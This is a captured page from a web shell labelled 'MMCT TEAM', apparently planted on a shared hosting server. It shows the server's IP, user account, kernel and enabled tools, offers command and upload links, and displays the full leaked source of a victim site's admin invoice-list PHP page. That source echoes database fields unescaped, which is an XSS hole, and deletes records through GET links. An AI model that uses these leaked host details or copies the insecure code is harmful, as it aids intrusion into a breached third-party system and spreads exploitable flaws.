MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.68
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/www/agriba/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/www/agriba/admin/invoice-generate-list.php
<?php include'loginQuery/session_start.php';
include'dbc.php';
$pageTitle="List of Invoice";
$pageName=" Invoice List";
$tableName="tbl_invoice";
$addPageUrl="invoice-generate.php";
$deleteMode="deleteInvoice";

?>
<!DOCTYPE html>
<html>
    <head>
        <style>
          .green{
            background-color: darkseagreen;
            color: darkseagreen;
          }
          .red{
            background-color: indianred;
            color: indianred;
          }
      </style>
        <meta charset="utf-8">
            <meta content="width=device-width, initial-scale=1.0" name="viewport">
                <meta content="IE=edge" http-equiv="X-UA-Compatible">
                    <!-- Page title -->
                    <title>
                        <?php echo $pageTitle;?>
                    </title>
                    <!-- Place favicon.ico and apple-touch-icon.png in the root directory -->
                    <!--<link rel="shortcut icon" type="image/ico" href="favicon.ico" />-->
                    <!-- Vendor styles -->
                    <?php include'include/header-file.php';?>
					<!--select feild css-->                    
					<link rel="stylesheet" href="vendor/select2-3.5.2/select2.css" />
                    <link rel="stylesheet" href="vendor/select2-bootstrap/select2-bootstrap.css" />
				    <link rel="stylesheet" href="vendor/bootstrap-touchspin/dist/jquery.bootstrap-touchspin.min.css" />

                    <link rel="stylesheet" type="text/css" href="styles/pagination.css">

                    
                         <?php include'message.php';?>


                </meta>
            </meta>
        </meta>
        <style>
		.small-header .panel-body h2 {
		margin-top:3px;
		}
		.hbreadcrumb {
		margin-top:0;
		}
		
        </style>
    </head>
    
    <body>
        <!-- Simple splash screen-->
       
        <!--[if lt IE 7]>
<p class="alert alert-danger">You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/">upgrade your browser</a> to improve your experience.</p>
<![endif]-->
        <!-- Header -->
        <?php include'include/header.php';?>
        <!-- Header End-->

        <!-- Navigation -->
        <?php include'include/side-menu.php';?>
        <!-- Navigation -->
        
        <!-- Main Wrapper -->
        <div id="wrapper">
<!----------------start top normal header--------------------->
	<div class="small-header">
        <div class="hpanel">
            <div class="panel-body">
                <div id="hbreadcrumb" class="pull-right">
                    <ol class="hbreadcrumb ">
                        <li><a class="btn btn-danger" href="<?php echo $addPageUrl?>"><strong>Add New Invoice</strong></a></li>
                        
                    </ol>
                </div>
                <h2 class="font-light m-b-xs">
               <?php echo $pageName;?>
               
            </h2>
            <small><?php echo $pageTitle;?></small>
            </div>
        </div>
    </div>
<!----------------end top normal header--------------------->        

<!--model window-->

<!--model window-->
        
        
            <div class="content ">
                <div class="row">
                    <div class="col-lg-12">
                        <div class="hpanel">
                            <div class="panel-heading">
                                <div class="panel-tools">
                                    <!--<a class="showhide">
                                        <i class="fa fa-chevron-up">
                                        </i>
                                    </a>
                                    <a class="closebox">
                                        <i class="fa fa-times">
                                        </i>
                                    </a>-->
                                </div>
                                
                            </div>
                            <div class="panel-body">
                            
                            <!---------------------------
                            
                        <br>
                        <div class="panel-body">
 <!------------------------------------------------>     
  
       
      
       <!--<input type="hidden" id="getbackurl" value="<?php //echo $finalBackURL;?>">-->
 
 <style type="text/css">
 .getstatus{ margin:10px; cursor:pointer}
  .l{ margin-right:10px; cursor:pointer}
 </style>    
 <div style="float:left">
 
 </div>       
<div class="clearfix"></div>    

   <div id="showrecord">                                  
                                
					<table cellpadding="1" cellspacing="1" class="table table-bordered table-striped" id="example" class="display">
                        <span style="position: absolute;"><span class="green">a</span>Invoice Active <br><span class="red">a</span> Invoice Inactive</span>
                    <thead>
                    <tr>
                        <th width="30">#</th>
                        <th width="300">Invoice Number</th>
                        <th width="300">Name</th> 
                        <th width="">Action</th>
                        <th width="120">Control</th>
                    </tr>
                    </thead>
                    <tbody>
                   <?php  
				   $i=1;
                   
                   $sql=mysqli_query($conn,"select * from tbl_invoice order by id desc");
                    while($row=mysqli_fetch_assoc($sql))
                {
                    extract($row);
				?>
                    <tr>
                         <?php
                        if($status==0)
                             {?>
                                <td style="background-color: indianred;color: white;font-weight: 700;"><?php echo $i++;?></td> <?php
                             }
                         else
                             {?>
                                <td style="background-color: darkseagreen;color: white;font-weight: 700"><?php echo $i++;?></td> <?php
                             }  
 
                         ?>
                        <td><?php echo $invoice_number;?><br><?php  
                            $date = DateTime::createFromFormat("Y-m-d" ,$order_date);
                            echo $date->format('d-m-Y');
                        ?></td>
                         <td><?php echo $name;?><br><?php echo $address;?><br><?php echo $pincode;?></td>
                         <td><a href="invoice-create.php?tempinvoiceid=<?php echo $temp_invoiceid; ?>" target="blank" title="Invoice"  class="btn btn-danger"><strong><i class="fa fa-print" aria-hidden="true"></i></strong></a></td>
                    

                        <td style="position:relative">	
                       <a class="dropdown-toggle" href="#" data-toggle="dropdown"><strong>Action</strong></a>
                    		<ul class="dropdown-menu animated flipInX m-t-xs" role="menu" style="top:0;">
                               
                                <li><a href="edit-invoice-generate.php?id=<?php echo $id;?>"><i class="fa fa-pencil"> </i> Edit</a></li>
                                <li><a class="demo3" path="dataQuery/process.php?action2=<?php echo $deleteMode ?>&id=<?php echo $id?>&tempinvoiceid=<?php echo $temp_invoiceid?>" ><i class="fa fa-trash"> </i> Remove</a></li>
                                <li class="divider"></li>
                                <li><a ><i class="fa "> </i> Cancel</a></li>
                            </ul>
                    </td>
					</tr>
                    <?php }?>
                    </tbody>
                </table>
				
 
                            </div>
                            
                         
                            
                            
                        </div>
                    </div>
                </div>
            </div>
            
            <!-- Footer-->
         



 <?php include'include/footer-file.php';?>

<!--select feild css-->                    
<script src="vendor/bootstrap-touchspin/dist/jquery.bootstrap-touchspin.min.js"></script>
<script src="vendor/select2-3.5.2/select2.min.js"></script>

 






<!-- App scripts -->


    </body>
</html>
<link rel="stylesheet" href="vendor/sweetalert/lib/sweet-alert.css" />
<script src="vendor/sweetalert/lib/sweet-alert.min.js"></script>

    <script>

   $(document).on('click','.demo3',function(){
		var path=$(this).attr('path');

            swal({
                        title: "Are you sure?",
                        text: "Your will not be able to recover this imaginary file!",
                        type: "warning",
                        showCancelButton: true,
                        confirmButtonColor: "#DD6B55",
                        confirmButtonText: "Yes, delete it!"
                    },
                    function () {
                        window.location.href=path
                    });
    });

</script>

 
     <!-- Page specific javascripts-->

    <script src="https://cdn.datatables.net/1.10.19/js/jquery.dataTables.min.js"></script>
    <script src="https://cdn.datatables.net/1.10.19/js/dataTables.bootstrap4.min.js"></script>
  <script>
    $('#example').DataTable( {
    // "aLengthMenu": [[25, 50, 75, -1], [25, 50, 75, "All"]],
    //     "iDisplayLength": 25    
        
    dom: 'Bfrtip',
    buttons: [{
      extend: 'pdf',
      title: 'Customized PDF Title',
      filename: 'customized_pdf_file_name',
      
    }, {
      extend: 'excel',
      title: 'Customized EXCEL Title',
      filename: 'customized_excel_file_name'
    }, {
      extend: 'csv',
      filename: 'customized_csv_file_name'
    }]
} );
</script> 
    

MMCT - 2023